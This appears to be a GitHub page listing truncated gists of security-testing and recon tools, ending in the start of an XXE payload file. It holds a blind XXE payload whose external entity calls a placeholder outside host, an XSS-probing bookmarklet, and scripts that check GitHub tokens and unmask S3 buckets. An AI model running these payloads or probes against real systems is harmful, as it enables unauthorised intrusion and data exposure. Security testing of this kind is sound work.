Skip to content

Instantly share code, notes, and snippets.

View hakluke's full-sized avatar
💭
hacking \o/

Luke Stephens (hakluke) hakluke

💭
hacking \o/
3k followers · 322 following
View GitHub Profile
@eur0pa
eur0pa / waywords.go
Last active April 11, 2024 08:32 — forked from lc/waywords.go
generate wordlists utilizing the wayback machine
package main
import (
"bufio"
"fmt"
"net/url"
"os"
"strings"
)
@EdOverflow
EdOverflow / ghcheck
Created April 6, 2019 15:26
Quickly determine the validity and scope of a GitHub access token.
#!/bin/bash
GREEN='\033[0;32m'
RED='\033[0;31m'
END='\033[0m'
request=$(curl -s -u "hehe:$1" https://api.github.com/user)
name=$(echo "$request" | jq -r ".login" 2> /dev/null)
if [[ $name == "null" ]]; then
echo -e "${RED}Not a GitHub access token.${END}"
@fransr
fransr / bucket-disclose.sh
Last active May 1, 2024 09:46
Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages
#!/bin/bash
# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
@deeso
deeso / download_new_domains.py
Created March 22, 2018 03:02
Download new domains from Whois Newly Registered Domains
from pymongo import MongoClient
import json, os, time, signal, threading, sys
from datetime import datetime, timedelta
from gglsbl import SafeBrowsingList
import requests
from datetime import datetime
from datetime import datetime, timedelta
from virus_total_apis import PrivateApi, PublicApi
import argparse
@Rhynorater
Rhynorater / XSSbookmarklet.js
Last active May 18, 2020 04:23
XSS Discovery Bookmarklet
javascript:(function()%7Bvar j %3D document.getElementsByTagName("input")%3Bif (document.location.href.indexOf("%3F")>-1)%7Bvar l %3D "%26"%3B%7Delse%7Bvar l %3D "%3F"%3B%7Dfor (i%3D0%3Bi<j.length%3Bi%2B%2B)%7Bl%2B%3Dj%5Bi%5D.getAttribute("name")%2B'%3D"><test1234>%26'%7Ddocument.location %3D document.location%2Bl%7D)()
@x0rz
x0rz / bulk_dns_check.py
Created May 2, 2017 12:11
# Usage: ./dns_check.py <list_of_domain_names.txt>
import dns.resolver
import requests
import re
import json
import sys
resolver = dns.resolver.Resolver()
resolver.timeout = 5
resolver.lifetime = 5
@jboursiquot
jboursiquot / limit_goroutines_with_semaphores.go
Last active October 6, 2023 15:56
Limiting the number of running goroutines using semaphores in #golang
var (
concurrency = 5
semaChan = make(chan struct{}, concurrency)
)
func doWork(item int) {
semaChan <- struct{}{} // block while full
go func() {
defer func() {
<-semaChan // read releases a slot
@kasparsd
kasparsd / clone-popular.sh
Last active January 3, 2024 16:06
Get the top 1000 most popular plugins on WordPress.org
@eduncan911
eduncan911 / go-build-all
Last active April 11, 2024 07:14
Go Cross-Compile Script
#!/bin/bash
#
# GoLang cross-compile snippet for Go 1.6+ based loosely on Dave Chaney's cross-compile script:
# http://dave.cheney.net/2012/09/08/an-introduction-to-cross-compilation-with-go
#
# To use:
#
# $ cd ~/path-to/my-awesome-project
# $ go-build-all
#
@staaldraad
staaldraad / XXE_payloads
Last active May 8, 2024 01:23
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>